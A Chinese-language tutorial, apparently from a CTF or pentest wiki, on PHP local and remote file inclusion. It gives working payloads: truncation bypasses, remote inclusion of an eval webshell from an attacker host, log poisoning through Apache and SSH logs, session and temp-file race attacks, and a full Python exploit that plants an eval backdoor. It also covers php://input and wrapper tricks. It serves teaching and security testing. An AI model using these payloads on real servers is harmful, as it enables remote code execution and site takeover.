跳转至

文件包含漏洞

概念

文件包含漏洞 主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。

原理

LFI(英文:local file include) 本地文件包含,指在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露、恶意代码的注入等。

开发需求:站点存在多个php页面,需统一由index.php调用访问

实现结果:用户访问www.test.com/index.php?name=aboutus.php,可查看aboutus.php的页面内容

实现方式(关键步骤):

  1. 获取用户传递的name参数值aboutus.php
  2. 去文件系统中查看aboutus.php文件内容
  3. 使用include相关函数(include、include_once、require、require_once)加载文件内容并回显至浏览器

漏洞产生关键点

  1. 用户提交(主动或被动)的数据内容被带入到请求文件系统内容中

  2. 后端程序未对请求参数进行合理的处理

  3. 以文件包含的形式去调用文件内容

getshell 思路

寻找一切能把可控内容带入文件中的功能

  1. 结合系统文件上传功能,上传php代码的白名单后缀文件,然后包含对应文件

  2. 结合日志文件(accesslog、auth.log、smtp.log...)

本地文件包含

无限制包含

PHP
<?php
    $file=$_GET['file'];
    include ($file);
?>

比如在同一目录下,有如下名为phpinfo.txt文件:

Text Only
<?phpinfo();?>

当页面访问index.php的时候,如果输入URL:

Text Only
http://...../index.php?file=phpinfo.txt

就会轻而易举执行txt中的phpinfo()函数,并回显内容。

总结:这种情况的实现条件是:

  • PHP代码中有相关的文件包含函数:比如 include ($file)
  • 攻击者能够对包含的变量进行传递参数:比如 \(file=\)_GET['file'];

有限制包含

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。

常见的过滤绕过方式有三种:

  • %00 截断文件包含
  • 路径长度截断包含
  • 点号截断文件包含

%00截断

这个漏洞的使用必须满足如下条件

  • magic_quotes_gpc=off
  • PHP版本低于5.3.4
PHP
<?php
    $file=$_GET['file'];
    include ($file.".html");
?>
Text Only
http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00

通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容

路径长度截断

操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路径丢弃,导致拓展名截断。

PHP
<?php
    $file=$_GET['file'];
    include ($file.".html");
?>
CMake
http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行后发现已经成功截断了后面的拓展名

点号截断

点号截断包含**只使用与Windows系统**,点号的长度大于256B的时候,就可以造成拓展名截断

原理和windows路径长度截断相同

PHP
<?php
    $file=$_GET['file'];
    include ($file.".html");
?>
CMake
http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

发现已经成功截断了html拓展名

远程文件包含

PHP 的配置选项 allow_url_include 为 ON 的话,则 include/require 函数可以加载远程文件,这种漏洞被称为 "远程文件包含漏洞(Remote File Inclusion RFI)"。

Bash
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许 include/require 远程文件

注意:如果是包含远程服务器上的 PHP 文件,那么得到的是被远程服务器解析过的 PHP,所以在写一句话木马的时候就不要做成.php的文件,一般做成.txt的文件

例如:我们用 windows server 2003 服务器包含一个 Linux 上的 phpinfo.php 文件,那么得到的就是 Linux 的 php 配置文件,而不是 Windows 上的 php 配置文件。

无限制包含

已知 192.168.173.128 这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件192.168.173.128/index.php

PHP
<?php
       $filename = $_GET[‘page’];
       Include($filename);
?>

首先,我们在自己的服务器 192.168.173.129 上新建一个文件 2.txt

PHP
<?php
       echo ‘hello hackerAK’
?>

我们通过远程包含文件包含到 192.168.173.128 这台目标服务器上,包含的方式与本地包含的方式一样:

Ruby
http://192.168.173.128/index.php?page=http://192.168.173.129/2.txt

测试页面是否显示正常,正常则说明包含成功

我们继续包含一个木马文件 getshell.txt 看能否执行, 为了方便查看,我们让它输出“123”

PHP
<?php
       @eval($_POST['x']);
       echo '123' ;
?>

我们在浏览器的地址栏中写入

Ruby
http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt

接下来webshell工具连接即可

有限制包含

测试代码:

PHP
<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了 html 后缀,导致远程包含的文件也会多一个 html 后缀。

img

问号绕过

Ruby
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

img

Bash
filename: http://192.168.91.133/FI/php.txt?

include --> http://192.168.91.133/FI/php.txt?.html(忽略第二个问号后内容) --> include http://192.168.91.133/FI/php.txt
原理解释

URL 中出现两个问号会导致一些问题,主要取决于第二个问号的位置。

情况一:第二个问号在片段标识符(fragment identifier)中

如果第二个问号出现在#后面,也就是片段标识符部分,则不会有任何问题。片段标识符用于指定页面中的特定位置,其内容由浏览器自行处理,并不会发送到服务器。因此,第二个问号会被视为片段标识符的一部分。

例如:https://www.example.com/page?param1=value1#section?param2=value2

在这个例子中,param2=value2 会被视为片段标识符的一部分,不会影响 URL 的其他部分。

情况二:第二个问号在查询字符串(query string)中

如果第二个问号出现在查询字符串中(?和#之间,或者 URL 末尾),则第二个问号及其之后的内容会被大多数服务器和客户端视为 URL 的一部分,但其解释方式取决于具体的服务器和客户端实现。

  • 一些服务器/客户端可能会忽略第二个问号及其之后的内容。 它们可能只识别第一个问号和它后面的键值对。
  • 一些服务器/客户端可能会将第二个问号及其之后的内容视为查询字符串的一部分,但不会将其解析为键值对。 例如,它们可能会将整个字符串 ?param1=value1?param2=value2 视为一个键,其值为空。
  • 一些服务器/客户端可能会将第二个问号编码为 %3F。 这在某些情况下可以避免歧义。

Note

所以能否绕过主要取决于服务器的处理方式

#号绕过

Ruby
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

img

原理解释

在第一个#后面出现的任何字符,都会被浏览器解读为位置标识符。这意味着,这些字符都不会被发送到服务器端。 比如,下面URL的原意是指定一个颜色值:http://www.example.com/?color=#fff,但是,浏览器实际发出的请求是:

Text Only
GET /?color= HTTP/1.1
Host: www.example.com

空格绕过

还有哪些可以绕过?用 burp 跑一遍发现空格也可以绕过:

img

Ruby
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

img

日志包含

服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。

如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限。

典型的日志文件包含:

  • 中间件日志文件包含
  • ssh日志文件包含

中间件日志文件包含

利用条件:

  • web中间件日志文件的存储位置已知,并且具有可读权限

写入日志文件

中间件开启了访问日志记录功能,会访问日志写入到日志文件中。

假设访问URL:http://192.168.1.2/xxx/index.php

发现会在日志文件中有如下内容:

C#
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:31:20 +0800] "GET /xxx/index.php HTTP/1.1" 200 86....

中间件日志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。

利用中间件访问记录路径到日志文件中的功能,将恶意代码写入到日志文件当中去:

添加恶意代码:http://www.abc.com/xxx/<?php @eval($_POST[123]);?>

此时会提示404,但是不急

查看日志文件,发现已经将内容写入

Bash
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:35:23 +0800] "GET /xxx/%3C?php @eval($_POST[123]);?%3E HTTP/1.1" 404 826....

虽然已经写入到日志文件中去了,但是浏览器进行了URL编码,导致传入的代码不能正常使用

可以通过burpsuite抓包的方式写入恶意代码,这样不会被浏览器进行URL编码

查看日志文件,内容如下

Bash
[root@aaa]#less /var/log/httpd/access_log
192.168.1.200 - - [09/Aug/2021:19:37:33 +0800] "GET /xxx/<?php @eval($_POST[123]);?> HTTP/1.1" 404 302....

恶意代码成功写入

包含日志文件

要执行文件包含,必须要知道日志文件的位置。

常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log

输入测试语句http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log

之后在向网页传入POST参数:123=phpinfo

即可显示出phpinfo的内容

Note

首先中间件需要开启日志记录,并且要知道日志记录文件的路径,最后需要知道日志文件都记录了哪些信息(代码注入点)

SSH日志文件包含

SSH日志文件包含的利用条件是:

  • SSH日志路径已知,并且具有可读权限

SSH日志文件的默认路径为/var/log/auth.log

写入日志文件

SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中

将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务

ssh "<?php @eval($_POST[123]);?>"@192.168.1.1

查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件

包含日志文件

测试输入语句:http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log

之后再向网页传入POST参数:123=phpinfo

就可以出现phpinfo的内容了

Note

继续发散思维,我们发现只要满足以下几个条件,所有的日志都可以包含利用

  1. 服务端开启日志记录
  2. 日志文件路径已知(默认路径、猜测等)
  3. 日志记录信息可控(可注入)

PHP Session 包含

session.upload_progress

与 open_basedir、allow_url_fopen、allow_url_include 等 PHP 配置一样,session.upload_progress 也是 PHP 的一个功能,同样可以在 php.ini 中设置相关属性。其中最重要的几个设置如下:

  • session.upload_progress.enabled = on (php 5.4 版本后才有此配置)

  • session.upload_progress.cleanup = on(默认开启)

  • session.upload_progress.prefix = "upload_progress_"(默认开启)
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"(默认开启)
  • session.upload_progress.enabled 可以控制是否开启 session.upload_progress 功能
Text Only
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

session.upload_progress.prefix可以设置上传文件内容的前缀

session.upload_progress.name的值即为session中的键值

利用条件

利用条件:存在文件包含,session 文件的路径已知,且文件内容可控。

session 文件的路径可从 phpinfo 中的 session.save_path 可知,或者猜测路径

JSON
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

然后通过写入内容并包含 session 文件即可获得 flag,session 文件名一般为 sess_PHPSESSID

如果 php 设置了 open_basedir,限制了我们读取文件的范围,我们就算得知了 session 文件的存储路径,但是不在我们的读取范围里,这里可以考虑修改一下 session 文件存储的位置。

我们可以通过 session_start() 的 options 参数进行覆盖 php.ini 的配置 session.save_path 来修改保存路径,然后再进行文件包含。当然这个操作也可以通过 session_save_path() 函数完成。

session.upload_progress 开启之后会有什么效果

利用思路:

  1. post 一个与 ini 中设置的 session.upload_progress.name 的同名变量(默认的 name 为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入 session 文件中。session 文件的内容为:(它会在$_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值)

  2. 如果我们 post 传递 PHP_SESSION_UPLOAD_PROGRESS 的值为一句话木马

  3. 比如为:<?php system('ls');?>

  4. 同时,我们在 cookie 里面设置名字:PHPSESSID,值:flag,(目的是设置 session 文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag 这个文件的内容就为 upload_progress_<?php system('ls')?>。然后在 include(/tem/sess_flag)就会执行后面的 php 代码从而成功执行 rce。

  5. 虽然文件上传结束后,php 会清空 session 文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa 进行条件竞争,那么就有可能在删除 session 文件前访问到这个文件。

当我们将 session.upload_progress.enabled 的值设置为 on 时,此时我们再往服务器中上传一个文件时,PHP 会把该文件的详细信息(如上传时间、上传进度等)存储在 session 当中。

问题 1:

Text Only
那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?

分析 1:

我们能够创建 session 文件的原因:session 里有一个默认选项,session.use_strict_mode 默认值为 off。也就是说此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID = aaa,PHP 将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化 Session,PHP 也会自动初始化 Session, 并产生一个键值。这个键值 ini.get("session.upload_progress.prefix")+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_aaa 文件里。

问题 2:

Text Only
当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?

分析 2:

利用 Python 的多线程,进行条件竞争。

PHP 临时文件包含

PHP LFI 本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

假如在服务器上找不到我们可以包含的文件,那该怎么办,此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件,该临时文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

目前,常见的两种临时文件包含漏洞利用方法主要是:PHPINFO() and PHP7 Segment Fault,利用这两种奇技淫巧可以向服务器上传文件同时在服务器上生成恶意的临时文件,然后将恶意的临时文件包含就可以达到任意代码执行效果也就可以拿到服务器权限进行后续操作。

临时文件

在了解漏洞利用方式的时候,先来了解一下 PHP 临时文件的机制

全局变量

在 PHP 中可以使用 POST 方法或者 PUT 方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES 里。

$_FILES 超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过 PHP 脚本上传到服务器的文件至关重要。

PHP
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
12345

在临时文件包含漏洞中 $_FILES['userfile']['name'] 这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。

存储目录

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由 php.ini 的 upload_tmp_dir 属性指定,假如 upload_tmp_dir 的路径不可写,PHP 会上传到系统默认的临时目录中。

不同系统服务器常见的临时文件默认存储目录,了解系统的默认存储路径很重要,因为在很多时候服务器都是按照默认设置来运行的。

Linux 目录

Linxu 系统服务的临时文件主要存储在 根目录的 tmp 文件夹下,具有一定的开放权限。

Text Only
/tmp/

img

Windows 目录

Windows 系统服务的临时文件主要存储在 系统盘 Windows 文件夹下,具有一定的开放权限。

Text Only
C:/Windows/
C:/Windows/Temp/

命名规则

存储在服务器上的临时文件的文件名都是随机生成的,了解不同系统服务器对临时文件的命名规则很重要,因为有时候对于临时文件我们需要去爆破,此时我们必须知道它的命名规则是什么。

可以通过 phpinfo 来查看临时文件的信息。

Linux Temporary File

Linux 临时文件主要存储在 /tmp/ 目录下,格式通常是(/tmp/php[6个随机字符])

img

Windows Temporary File

Windows 临时文件主要存储在 C:/Windows/ 目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

img

PHPINFO 特性

通过上面的介绍,服务器上存储的临时文件名是随机的,这就很难获取其真实的文件名。不过,如果目标网站上存在 phpinfo,则可以通过 phpinfo 来获取临时文件名,进而进行包含。

虽说这个漏洞出现的很早(2011 年,国外的安全研究人员将这种攻击手法进行卡了公布),不过这个技巧确实是个很经典的列子,不会被遗忘的。

测试代码

index.php

PHP
<?php

    $file  = $_GET['file'];
    include($file);

?>

phpinfo.php

PHP
<?php phpinfo();?>

漏洞分析

当我们在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP 都会将这个文件保存成一个临时文件。 文件名可以在 $_FILES 变量中找到。这个临时文件,在请求结束后就会被删除。

利用 phpinfo 的特性可以很好的帮助我们,因为 phpinfo 页面会将当前请求上下文中所有变量(所有数据)都打印出来,所以我们如果向 phpinfo 页面发送包含文件区块的数据包,则即可在返回包里找到 $_FILES 变量的内容,拿到 临时文件变量名 之后,就可以进行包含执行我们传入的恶意代码。

漏洞利用

  • 利用条件
PHP
无   PHPINFO的这种特性源于php自身,与php的版本无关

测试脚本

编写脚本,上传文件探测是否存在 phpinfo 包含临时文件的信息。

Python
import requests

files = {
  'file': ("aa.txt","ssss")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

运行脚本向服务器发出请求可以看到回显中有如下内容

Linux

img

Windows

img

利用原理

验证了 phpinfo 的特性确实存在,所以在文件包含漏洞找不到可利用的文件时,我们就可以利用这一特性,找到并提取临时文件名,然后包含之即可 Getshell。

但文件包含漏洞和 phpinfo 页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行 getshell。* 但是在第一个*请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

利用过程

这个时候就需要用到条件竞争,具体原理和过程如下:

(1)发送包含了 webshell 的上传数据包给 phpinfo 页面,这个数据包的 header、get 等位置需要塞满垃圾数据

(2)因为 phpinfo 页面会将所有数据都打印出来,1 中的垃圾数据会将整个 phpinfo 页面撑得非常大

(3)php 默认的输出缓冲区大小为 4096,可以理解为 php 每次返回 4096 个字节给 socket 连接

(4)所以,我们直接操作原生 socket,每次读取 4096 个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

(5)此时,第一个数据包的 socket 连接实际上还没结束,因为 php 还在继续每次输出 4096 个字节,所以临时文件此时还没有删除

(6)利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终 getshell

利用脚本

Python
#!/usr/bin/python
#python version 2.7

import sys
import threading
import socket

def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    # PAYLOAD = """%sr
    # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter = 0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/Qftm.php"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__ == "__main__":
    main()

php7 Segment Fault

利用条件

  • 利用条件
PHP
7.0.0 <= PHP Version < 7.0.28

漏洞分析

在上面包含姿势中提到的包含临时文件,需要知道 phpinfo 同时还需条件竞争,但如果没有 phpinfo 的存在,我们就很难利用上述方法去 getshell。

那么如果目标不存在 phpinfo,应该如何处理呢?这里可以用 php7 segment fault 特性(CVE-2018-14884)进行 Bypass。

php 代码中使用 php://filter 的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像 phpinfo 那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

官方在 PHP Version 7.0.28 时已经修复该漏洞

PHP
http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

这种 包含 会导致 php 执行过程中出现 segment fault,此时 上传文件,临时文件会被保存在 upload_tmp_dir 所指定的目录下,不会被删除,这样就能达成 getshell 的目的。

代码环境

测试代码

index.php

PHP
<?php
    $a = @$_GET['file'];
    include $a;
?>

dir.php

PHP
<?php
    $a = @$_GET['dir'];
    var_dump(scandir($a));
?>

测试环境

PHP
PHP Version 7.0.9

img

漏洞利用

攻击载荷

string.strip_tags 过滤器导致出现 php segment fault

PHP
index.php?file=php://filter/string.strip_tags/resource=index.php

img

可以看到上面这种 包含 会导致 php 执行过程中出现错误,此时 上传文件,临时文件会被保存在 upload_tmp_dir 所指定的目录下,从而不会被删除,一直存储在服务器的临时目录里面。

参考文章

绕过 require_once 函数限制

我·们在审计时找到一处文件包含漏洞(使用 require_once 或 include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通

常可以使用 php://filter/convert.base64-encode/resource=file 这样的方式将文件以 base64 的形式读出来。但如果这个文件在前

面已经被包含过了,则第二次包含就会失败,即使使用 php://filter 也一样。

PHP
<?php
error_reporting(E_ALL);
require_once('flag.php');
highlight_file(__FILE__);
if (isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} //题目的代码来自WMCTF2020 make php great again 2.0 绕过require_once是预期解

可以看到确实不能包含成功

多重软连接绕过

简单描述一下,就是正常情况下,PHP 会将用户输入的文件名进行 resolve,转换成标准的绝对路径,这个转换的过程会将../、./、软连接

等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了../进行跳

转,还是使用软连接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过 require_once。

但是,如果软连接跳转的次数超过了某一个上限,Linux 的 lstat 函数就会出错,导致 PHP 计算出的绝对路径就会包含一部分软连接的

路径,也就和原始路径不相同的,即可绕过 require_once 限制。 在 Linux 下,最常见的软连接就是/proc/self/root,这个路径指向根

目录。所以,我们可以多次使用这个路径:

PHP
<?php 

require_once '/www/config.php'; 

include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php'; 
这样即可包含两次/www/config.php。 

这个 trick 全部的原理,可以参考这篇文章:php 源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 文章内容

挺好的,不过文字和结构稍微有点难以看懂😂。

hxp ctf 中一道题目,也利用软连接递归次数过多可以导致 lstat 出错这个原理,绕过 PHP 的检查,来包含了已经被删除的 Nginx 缓存文件。

这题目的原理可以参考 @Zedd 的这篇文章:hxp CTF 2021 - A New Novel LFI - 跳跳糖

PHP 伪协议总结

本篇总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等

file://

PHP.ini:

file:// 协议在双 off 的情况下也可以正常使用;

Text Only
allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在 CTF 中通常用来读取本地文件的且不受 allow_url_fopen 与 allow_url_include 的影响

img

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file = file://D:/soft/phpStudy/WWW/phpcode.txt

02 2.png

php://

条件:

不需要开启 allow_url_fopen,仅 php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在 CTF 中经常使用的是 php://filter 和 php://input,php://filter 用于读取源码,php://input 用于执行 php 代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。

PHP.ini:

php://filter 在双 off 的情况下也可以正常使用;

Text Only
allow_url_fopen :off/on

allow_url_include:off/on

img

测试现象:

http://127.0.0.1/cmd.php?file = php://filter/read = convert.base64-encode/resource =./cmd.php

img

php://input 可以访问请求的原始数据的只读流, 将 post 请求中的数据作为 PHP 代码执行。

PHP.ini:

Text Only
allow_url_fopen :off/on

allow_url_include:on

img

测试现象:

http://127.0.0.1/cmd.php?file = php://input

[POST DATA] <?php phpinfo()?>

也可以 POST 如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

img

zip://, bzip2://, zlib://

PHP.ini:

zip://, bzip2://, zlib://协议在双 off 的情况下也可以正常使用;

Text Only
allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

img

1.【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file = zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的 PHP 代码写好文件名为 phpcode.txt,将 phpcode.txt 进行 zip 压缩, 压缩文件名为 file.zip, 如果可以上传 zip 文件便直接上传,若不能便将 file.zip 重命名为 file.jpg 后在上传,其他几种压缩格式也可以这样操作。

